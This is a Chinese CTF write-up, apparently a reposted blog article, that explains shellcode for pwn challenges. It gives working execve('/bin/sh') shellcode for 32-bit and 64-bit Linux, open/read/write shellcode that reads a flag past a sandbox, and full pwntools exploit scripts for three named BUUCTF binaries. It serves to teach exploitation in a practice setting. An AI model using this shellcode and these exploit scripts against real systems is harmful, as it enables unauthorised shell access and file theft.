一篇文章彻底清楚shellcode(精品)

这篇具有很好参考价值的文章主要介绍了一篇文章彻底清楚shellcode(精品)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

shellcode 知识汇总

1.没开沙箱(此时我们可以系统调用get shell)

(一)32位程序系统调用

32位程序有别于64位程序,32位通过栈传参,我们常用的寄存器有4个数据寄存器(eax,ebx,ecx,edx),2个变址寄存器(esi,edi),2个指针寄存器(esp,ebp).
下边我们就来看一种系统调用方式及其构造:

//这是我们要构造的:
execv('/bin/sh',0,0)   //从左到右一次传参数进入ebx,ecx,edx寄存器
汇编如下:
shell = '''
push 0   // 隔开/bin/sh
push 0x0068732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
xor esi,esi
mov eax, 0xb   //execv的系统调用号为11,即0xb
int 0x80      //进入系统调用
'''

执行上述shellcode即可getshell.

picoctf_2018_shellcode

这里选取一道buuctf上的一道题目来加深一下理解
题目
检查:
一篇文章彻底清楚shellcode(精品)
保护机制都没开,很明显应该是要写shellcode
漏洞分析:
程序是不可以Ctrl+f5的,跟进发现问题在这:
一篇文章彻底清楚shellcode(精品)
如果我们控制了rax寄存器,就可以执行shellcode了,大家可以自己分析,动态调试,发现我们输入的数据正好会被传入rax寄存器中,进行执行,所以下边我们来进行shellcode的编写

#!/usr/bin/env python
#coding=utf-8
from pwn import *
elf = ELF('./PicoCTF_2018_shellcode')
#io = remote('node4.buuoj.cn',28317)
io = process('./PicoCTF_2018_shellcode')
libc = elf.libc
context(log_level='debug',os='linux',arch='amd64')

io.recvuntil('!')

gdb.attach(io)

shellcode = '''
push 0
push 0x0068732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
xor esi,esi
mov eax, 0xb
int 0x80
'''
io.sendline(asm(shellcode))

io.interactive()

一篇文章彻底清楚shellcode(精品)

(二)64位程序系统调用

64位程序通过寄存器传参,当参数少于7个时,程序将参数从左到右依次传递至rdi,rsi,rdx,rcx,r8,r9.当参数多于7个时,如下传参

    H(a, b, c, d, e, f, g, h);
    a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9
    h->8(%esp)
    g->(%esp)
    call H

64位进行系统调用:

mov rbx, 0x68732f6e69622f   //这里没有严格的传参限制,也可以传到其他寄存器中
push rbx   //'/bin/sh'压入栈
push rsp   //压入rsp
pop rdi    //'/bin/sh'传递给rdi
xor esi, esi   //将esi置0           
xor edx, edx   //将edx置0           
push 0x3b      //系统调用号
pop rax        //这里也可以直接去掉'push 0x3b;pop rax'改为mov rax, 0x3b
syscall        //系统调用

我们还是选取一道题目来加深印象

mrctf2020_shellcode

题目地址

检查:
一篇文章彻底清楚shellcode(精品)
程序分析:
程序会让我们输入0x400的字节,并通过分析会将我们输入的字节传到rax寄存器中,所以我们还是通过控制rax寄存器来执行shellcode从而get shell.
一篇文章彻底清楚shellcode(精品)
exp:

#!/usr/bin/env python
#coding=utf-8

from pwn import*

#io =remote("node4.buuoj.cn",25981)
io = process('./mrctf2020_shellcode')
elf = ELF('./mrctf2020_shellcode')
#libc = elf.libc
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(log_level='debug',os='linux',arch='amd64')

io.recvuntil('!')

shellcode = '''
mov rbx, 0x68732f6e69622f
push rbx
push rsp 
pop rdi
xor esi, esi              
xor edx, edx              
push 0x3b
pop rax
syscall
'''
#gdb.attach(io)
io.sendline(asm(shellcode))

io.interactive()

一篇文章彻底清楚shellcode(精品)

2.开启沙箱(orw读flag)

gwctf_2019_shellcode

目前只做到了64位的orw题目,现在就放64位的题目啦
64位orw题目地址
例行检查:
一篇文章彻底清楚shellcode(精品)
开了canary,和pie,但没什么影响
一篇文章彻底清楚shellcode(精品)
这里是开了沙箱的,师傅们也可以进去查看,这里我就不展示了
main函数还是无法反汇编,同样问题是出在call rax
一篇文章彻底清楚shellcode(精品)
我们思路是控制rax寄存器,执行我们的shellcode,但程序里还会有一个检查机制,在is_printable函数里,
一篇文章彻底清楚shellcode(精品)
这里会有一个strlen,’/x00’截断,我们可以写shellcode时写入\x00绕过检查
剩下的思路就很简单了,系统调用open打开flag所在路径,系统调用read读flag,(我们可以选择将flag读到栈中,bss段允许的话我们也可以将其读入bss段,就这道题目而言,我将其读在了栈中,有兴趣的师傅也可以尝试将flag读在bss段中),系统调用write,写出flag

直接上exp:

#!/usr/bin/env python
#coding=utf-8
from pwn import *
elf = ELF('./gwctf_2019_shellcode')
#io = remote('node4.buuoj.cn',25438)
io = process('./gwctf_2019_shellcode')
libc = elf.libc
context(log_level='debug',os='linux',arch='amd64')

#gdb.attach(io)
shellcode = '''
//调用open()
push 0  //绕过strlen()检查
push 0
mov r15, 0x67616c662f2e
push r15
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall
//调用read()
mov r14, 3
mov rdi, r14
mov rsi, rsp
mov rdx, 0xff
mov rax, 0
syscall
//调用write()
mov rdi,1
mov rsi, rsp
mov rdx, 0xff
mov rax, 1
syscall
'''
payload = asm(shellcode)
print len(payload)

io.sendline(payload)
#io.sendline('A')

io.interactive()

一篇文章彻底清楚shellcode(精品)
读出了flag!!!
以上就是这段时间对shellcode题目的一些总结,师傅们轻点喷哈哈哈哈哈文章来源地址https://www.toymoban.com/news/detail-486062.html

到了这里,关于一篇文章彻底清楚shellcode(精品)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包赞助服务器费用

相关文章

  • 一篇文章彻底弄懂Golang私有仓库配置问题

    一般通过 go get 拉取的是公共仓库的代码(如: github.com中的代码),是不需要任务权限就能拉下来。但当我们配置的私有仓库一般都需要用户名密码来登录才能拉取代码,所以私有仓库主要是解决认证问题。 在早期版本的Go中,“go get”用于构建和安装包。现在,“go get”专门用

    2024年01月16日
    浏览(7)
  • 读这篇文章让你彻底了解Redis

    读这篇文章让你彻底了解Redis

    你好,我是Redis,一个叫Antirez的男人把我带到了这个世界上。 说起我的诞生,跟关系数据库MySQL还挺有渊源的。 在我还没来到这个世界上的时候,MySQL过的很辛苦,互联网发展的越来越快,它容纳的数据也越来越多,用户请求也随之暴涨,而每一个用户请求都变成了对它的一

    2024年02月04日
    浏览(8)
  • 一篇文章带你彻底弄懂Java的==符号

    一篇文章带你彻底弄懂Java的==符号

    本篇文章6735字,大概阅读时间20分钟。本文中使用到的JDK版本为1.8.0_301 目录 ==符号的定义 基本类型中==符号的判断 String类型中==符号的判断         在Java中==符号的作用分为两类:         1:==符号在八种基本类型的作用是比较对应基本类型的 数值是否相等         2:

    2024年02月08日
    浏览(9)
  • Unity/C#------委托与事件(一篇文章彻底搞懂...)

    Unity/C#------委托与事件(一篇文章彻底搞懂...)

            所有的代码语言创造者母语都是英语,我们从英语翻译到中文的过程中难免会存在一些不太能还原本意的词,比如我之前一直不理解构造函数和析构函数,只知道这俩货作用相反,直到我看到了它的英文意思,Construstor/Distructor,我才彻底理解了他们的作用。      

    2024年02月06日
    浏览(7)
  • 【跨域】一篇文章彻底解决跨域设置cookie问题!

    【跨域】一篇文章彻底解决跨域设置cookie问题!

    大家好我是雪人~~⛄ 之前做项目的时候发现后端传过来的 SetCookie 不能正常在浏览器中使用。 是因为谷歌浏览器新版本Chrome 80将Cookie的SameSite属性默认值由None变为Lax。 接下来带大家解决该问题。 我们可以看到Cookie有以下属性 Cookie属性 名称 :Cookie的name。 值 :Cookie的value。

    2024年02月02日
    浏览(8)
  • Hive详解(一篇文章让你彻底学会Hive)

    Hive详解(一篇文章让你彻底学会Hive)

    概述 Hive是由Facebook(脸书)开发的后来贡献给了Apache的一套数据仓库管理工具,针对海量的结构化数据提供了读、写和管理的功能。 图-1 Hive图标 Hive本身是基于Hadoop,提供了类SQL(Hive Query Language,简称为HQL)语言来操作HDFS上的数据,而底层实际上是将用户书写的SQL转化为了MapR

    2024年04月12日
    浏览(4)
  • 假期算法提升(一篇文章带你彻底学会双指针)

    假期算法提升(一篇文章带你彻底学会双指针)

    呀哈喽,我是结衣。 对于要参加程序设计比赛的人来说,算法永远都是一道绕不开的坎,你必须的去了解他才可以更好的去解决问题。非形式地说,算法就是任何良地计算过程,我们可以把算法看作是用于求良说明地计算问题地工具。那么今天我们学到的就是其中最基础的一

    2024年02月19日
    浏览(10)
  • 【最短路算法】一篇文章彻底弄懂Dijkstra算法|多图解+代码详解

    【最短路算法】一篇文章彻底弄懂Dijkstra算法|多图解+代码详解

    博主简介: 努力学习的大一在校计算机专业学生,热爱学习和创作。目前在学习和分享:算法、数据结构、Java等相关知识。 博主主页: @是瑶瑶子啦 所属专栏: 算法 ;该专栏专注于蓝桥杯和ACM等算法竞赛🔥 近期目标: 写好专栏的每一篇文章 Dijkstra算法适用于 最短路问题

    2023年04月08日
    浏览(6)
  • 【数据结构】一篇文章带你彻底学会《后缀表达式》

    【数据结构】一篇文章带你彻底学会《后缀表达式》

    创作不易,本篇文章如果帮助到了你,还请点赞 关注支持一下♡𖥦)!! 主页专栏有更多知识,如有疑问欢迎大家指正讨论,共同进步! 🔥c语言系列专栏:c语言之路重点知识整合 🔥 给大家跳段街舞感谢支持!ጿ ኈ ቼ ዽ ጿ ኈ ቼ ዽ ጿ ኈ ቼ ዽ ጿ ኈ ቼ ዽ ጿ ኈ ቼ 后缀表

    2024年02月05日
    浏览(9)
  • 一篇文章让你彻底了解vuex的使用及原理(上)

    文章讲解的 Vuex 的版本为 4.1.0 ,会根据一些 api 来深入源码讲解,帮助大家更快掌握 vuex 的使用。 使用 Vue 实例的 use 方法把 Vuex 实例注入到 Vue 实例中。 use 方法执行的是插件的中的 install 方法 src/store.js 从上面可以看到 Vue 实例通过 provide 方法把 store 实例 provide 到了根实例

    2023年04月23日
    浏览(11)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包